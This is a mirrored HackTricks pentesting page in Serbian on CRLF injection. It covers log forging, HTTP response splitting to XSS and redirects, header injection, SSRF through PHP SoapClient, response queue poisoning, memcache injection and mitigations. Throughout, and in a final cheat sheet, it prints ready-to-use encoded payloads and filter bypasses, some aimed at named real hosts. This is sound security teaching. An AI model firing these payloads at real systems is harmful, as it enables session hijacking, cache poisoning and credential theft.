mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
234 lines
16 KiB
Markdown
234 lines
16 KiB
Markdown
# CRLF (%0D%0A) Injection
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
### CRLF
|
|
|
|
Carriage Return (CR) i Line Feed (LF), zajedno poznati kao CRLF, su posebni karakter sekvence korišćene u HTTP protokolu za označavanje kraja linije ili početka nove. Veb serveri i pretraživači koriste CRLF da razlikuju HTTP zaglavlja od tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama na različitim tipovima veb servera, kao što su Apache i Microsoft IIS.
|
|
|
|
### CRLF Injection Vulnerability
|
|
|
|
CRLF ubacivanje uključuje umetanje CR i LF karaktera u korisnički unos. Ova akcija dovodi server, aplikaciju ili korisnika u zabludu da tumače ubačenu sekvencu kao kraj jednog odgovora i početak drugog. Iako ovi karakteri nisu inherentno štetni, njihova zloupotreba može dovesti do razdvajanja HTTP odgovora i drugih zlonamernih aktivnosti.
|
|
|
|
### Primer: CRLF Injection u log fajlu
|
|
|
|
[Primer sa ovde](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
|
|
|
Razmotrite log fajl u admin panelu koji prati format: `IP - Vreme - Poseta putanja`. Tipičan unos bi mogao izgledati ovako:
|
|
```
|
|
123.123.123.123 - 08:15 - /index.php?page=home
|
|
```
|
|
Napadač može iskoristiti CRLF ubacivanje da manipuliše ovim zapisom. Ubacivanjem CRLF karaktera u HTTP zahtev, napadač može promeniti izlazni tok i fabrikovati log zapise. Na primer, ubačena sekvenca može transformisati log zapis u:
|
|
```
|
|
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
|
```
|
|
Evo, `%0d` i `%0a` predstavljaju URL-kodirane oblike CR i LF. Nakon napada, zapisnik bi pogrešno prikazao:
|
|
```
|
|
IP - Time - Visited Path
|
|
|
|
123.123.123.123 - 08:15 - /index.php?page=home&
|
|
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
|
```
|
|
Napadač tako prikriva svoje zlonamerne aktivnosti tako što čini da izgleda kao da je lokalni računar (entitet obično poveren unutar serverskog okruženja) izvršio radnje. Server tumači deo upita koji počinje sa `%0d%0a` kao jedan parametar, dok se parametar `restrictedaction` analizira kao drugi, odvojeni unos. Manipulisani upit efikasno imitira legitimnu administratorsku komandu: `/index.php?page=home&restrictedaction=edit`
|
|
|
|
### HTTP Response Splitting
|
|
|
|
#### Opis
|
|
|
|
HTTP Response Splitting je bezbednosna ranjivost koja nastaje kada napadač iskorišćava strukturu HTTP odgovora. Ova struktura razdvaja zaglavlja od tela koristeći specifičan niz karaktera, povratni taster (CR) praćen prelaskom u novi red (LF), zajedno nazvan kao CRLF. Ako napadač uspe da ubaci niz CRLF u zaglavlje odgovora, može efikasno manipulisati sadržajem sledećeg odgovora. Ova vrsta manipulacije može dovesti do ozbiljnih bezbednosnih problema, posebno Cross-site Scripting (XSS).
|
|
|
|
#### XSS putem HTTP Response Splitting
|
|
|
|
1. Aplikacija postavlja prilagođeno zaglavlje na ovaj način: `X-Custom-Header: UserInput`
|
|
2. Aplikacija preuzima vrednost za `UserInput` iz upita parametra, recimo "user\_input". U scenarijima bez odgovarajuće validacije i enkodiranja unosa, napadač može kreirati payload koji uključuje niz CRLF, praćen zlonamernim sadržajem.
|
|
3. Napadač kreira URL sa specijalno oblikovanim 'user\_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
|
* U ovom URL-u, `%0d%0a%0d%0a` je URL-enkodirana forma CRLFCRLF. To vara server da ubaci niz CRLF, čime server tretira sledeći deo kao telo odgovora.
|
|
4. Server reflektuje napadačev unos u zaglavlju odgovora, što dovodi do neželjene strukture odgovora gde zlonamerni skript bude tumačen od strane pregledača kao deo tela odgovora.
|
|
|
|
#### Primer HTTP Response Splitting koji dovodi do Redirekcije
|
|
|
|
Sa [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
|
|
|
|
Pregledač ka:
|
|
```
|
|
/%0d%0aLocation:%20http://myweb.com
|
|
```
|
|
I server odgovara zaglavljem:
|
|
```
|
|
Location: http://myweb.com
|
|
```
|
|
**Drugi primer: (sa** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
|
```
|
|
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
|
```
|
|
#### U URL putanji
|
|
|
|
Možete poslati payload **unutar URL putanje** da biste kontrolisali **odgovor** sa servera (primer sa [ovde](https://hackerone.com/reports/192667)):
|
|
```
|
|
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
|
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
|
```
|
|
Proverite više primera u:
|
|
|
|
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
|
|
|
### HTTP Ubacivanje Zaglavlja
|
|
|
|
HTTP Ubacivanje Zaglavlja, često iskorišćeno putem CRLF (Carriage Return and Line Feed) ubacivanja, omogućava napadačima da ubace HTTP zaglavlja. Ovo može narušiti mehanizme bezbednosti poput XSS (Cross-Site Scripting) filtera ili SOP (Same-Origin Policy), potencijalno dovodeći do neovlašćenog pristupa osetljivim podacima, poput CSRF tokena, ili manipulacije korisničkih sesija putem ubacivanja kolačića.
|
|
|
|
#### Iskorišćavanje CORS putem HTTP Ubacivanja Zaglavlja
|
|
|
|
Napadač može ubaciti HTTP zaglavlja kako bi omogućio CORS (Cross-Origin Resource Sharing), zaobilazeći ograničenja nametnuta SOP-om. Ova ranjivost omogućava skriptovima sa zlonamernih izvora da interaguju sa resursima sa drugog izvora, potencijalno pristupajući zaštićenim podacima.
|
|
|
|
#### SSRF i Ubacivanje HTTP Zahteva putem CRLF
|
|
|
|
CRLF ubacivanje može se koristiti za kreiranje i ubacivanje potpuno novog HTTP zahteva. Značajan primer ove ranjivosti je u PHP-ovoj klasi `SoapClient`, posebno unutar parametra `user_agent`. Manipulacijom ovog parametra, napadač može ubaciti dodatna zaglavlja i sadržaj tela, ili čak ubaciti potpuno novi HTTP zahtev. U nastavku je PHP primer koji demonstrira ovu eksploataciju:
|
|
```php
|
|
$target = 'http://127.0.0.1:9090/test';
|
|
$post_string = 'variable=post value';
|
|
$crlf = array(
|
|
'POST /proxy HTTP/1.1',
|
|
'Host: local.host.htb',
|
|
'Cookie: PHPSESSID=[PHPSESSID]',
|
|
'Content-Type: application/x-www-form-urlencoded',
|
|
'Content-Length: '.(string)strlen($post_string),
|
|
"\r\n",
|
|
$post_string
|
|
);
|
|
|
|
$client = new SoapClient(null,
|
|
array(
|
|
'uri'=>$target,
|
|
'location'=>$target,
|
|
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
|
|
)
|
|
);
|
|
|
|
# Put a netcat listener on port 9090
|
|
$client->__soapCall("test", []);
|
|
```
|
|
### Ubacivanje zaglavlja zahteva u cilju preusmeravanja
|
|
|
|
Za više informacija o ovoj tehnici i potencijalnim problemima [**proverite originalni izvor**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
|
|
|
Možete ubaciti ključna zaglavlja kako biste osigurali da **backend održava otvorenu vezu** nakon odgovora na početni zahtev:
|
|
```
|
|
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
|
```
|
|
Nakon toga, može se specificirati drugi zahtev. Ovaj scenario obično uključuje [HTTP request smuggling](http-request-smuggling/), tehniku gde dodatni zaglavlja ili delovi tela dodati od strane servera nakon ubacivanja mogu dovesti do različitih sigurnosnih eksploatacija.
|
|
|
|
**Eksploatacija:**
|
|
|
|
1. **Zlonamerno ubacivanje prefiksa**: Ova metoda uključuje trovanje zahteva sledećeg korisnika ili keša veb stranice specificiranjem zlonamernog prefiksa. Primer:
|
|
|
|
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
|
|
|
2. **Izrada prefiksa za trovanje reda odgovora**: Ovaj pristup uključuje kreiranje prefiksa koji, kada se kombinuje sa završnim smećem, formira kompletan drugi zahtev. Ovo može pokrenuti trovanje reda odgovora. Primer:
|
|
|
|
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
|
|
|
### Memcache ubacivanje
|
|
|
|
Memcache je **skladište ključ-vrednost koje koristi protokol čistog teksta**. Više informacija na:
|
|
|
|
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
|
|
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
|
{% endcontent-ref %}
|
|
|
|
**Za potpune informacije pročitajte** [**originalni članak**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
|
|
|
Ako platforma preuzima **podatke iz HTTP zahteva i koristi ih bez provere** za izvršavanje **zahteva** ka **memcache** serveru, napadač bi mogao iskoristiti ovu radnju da **ubaci nove memcache komande**.
|
|
|
|
Na primer, u originalno otkrivenom propustu, ključevi keša su korišćeni da bi se vratila IP adresa i port na koji bi korisnik trebalo da se poveže, i napadači su mogli **ubaciti memcache komande** koje bi **trovale** **keš da pošalje detalje žrtava** (uključujući korisnička imena i lozinke) napadačkim serverima:
|
|
|
|
<figure><img src="../.gitbook/assets/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
|
|
|
Osim toga, istraživači su takođe otkrili da su mogli da dezinkronizuju odgovore memcache-a da pošalju IP adrese i portove napadačima korisnicima čije imejl adrese napadač nije znao:
|
|
|
|
<figure><img src="../.gitbook/assets/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
|
|
|
|
### Kako sprečiti CRLF / ubacivanje HTTP zaglavlja u veb aplikacijama
|
|
|
|
Da biste umanjili rizike od CRLF (Carriage Return i Line Feed) ili ubacivanja HTTP zaglavlja u veb aplikacije, preporučene su sledeće strategije:
|
|
|
|
1. **Izbegavajte direktni unos korisnika u zaglavlja odgovora:** Najsigurniji pristup je da se suzdržite od uključivanja unosa koji je korisnik dostavio direktno u zaglavlja odgovora.
|
|
2. **Kodiranje specijalnih karaktera:** Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obezbedite da koristite funkciju posvećenu kodiranju specijalnih karaktera poput CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF ubacivanja.
|
|
3. **Ažurirajte programski jezik:** Redovno ažurirajte programski jezik koji se koristi u vašim veb aplikacijama na najnoviju verziju. Odaberite verziju koja inherentno zabranjuje ubacivanje CR i LF karaktera unutar funkcija zaduženih za postavljanje HTTP zaglavlja.
|
|
|
|
### ŠIFARNIK
|
|
|
|
[Šifarnik odavde](https://twitter.com/NinadMishra5/status/1650080604174667777)
|
|
```
|
|
1. HTTP Response Splitting
|
|
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
|
|
|
|
2. CRLF chained with Open Redirect
|
|
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
|
|
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
|
|
• /google.com/%2F..%0D%0AHeader-Test:test2
|
|
• /%0d%0aLocation:%20http://example.com
|
|
|
|
3. CRLF Injection to XSS
|
|
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
|
|
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
|
|
|
4. Filter Bypass
|
|
• %E5%98%8A = %0A = \u560a
|
|
• %E5%98%8D = %0D = \u560d
|
|
• %E5%98%BE = %3E = \u563e (>)
|
|
• %E5%98%BC = %3C = \u563c (<)
|
|
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
|
|
```
|
|
## Automatski alati
|
|
|
|
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
|
|
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
|
|
|
|
## Lista otkrivanja Brute-Force napada
|
|
|
|
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
|
|
|
|
## Reference
|
|
|
|
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
|
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
|
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
|
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
|
|
|
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Savet za bug bounty**: **Prijavite se** na **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|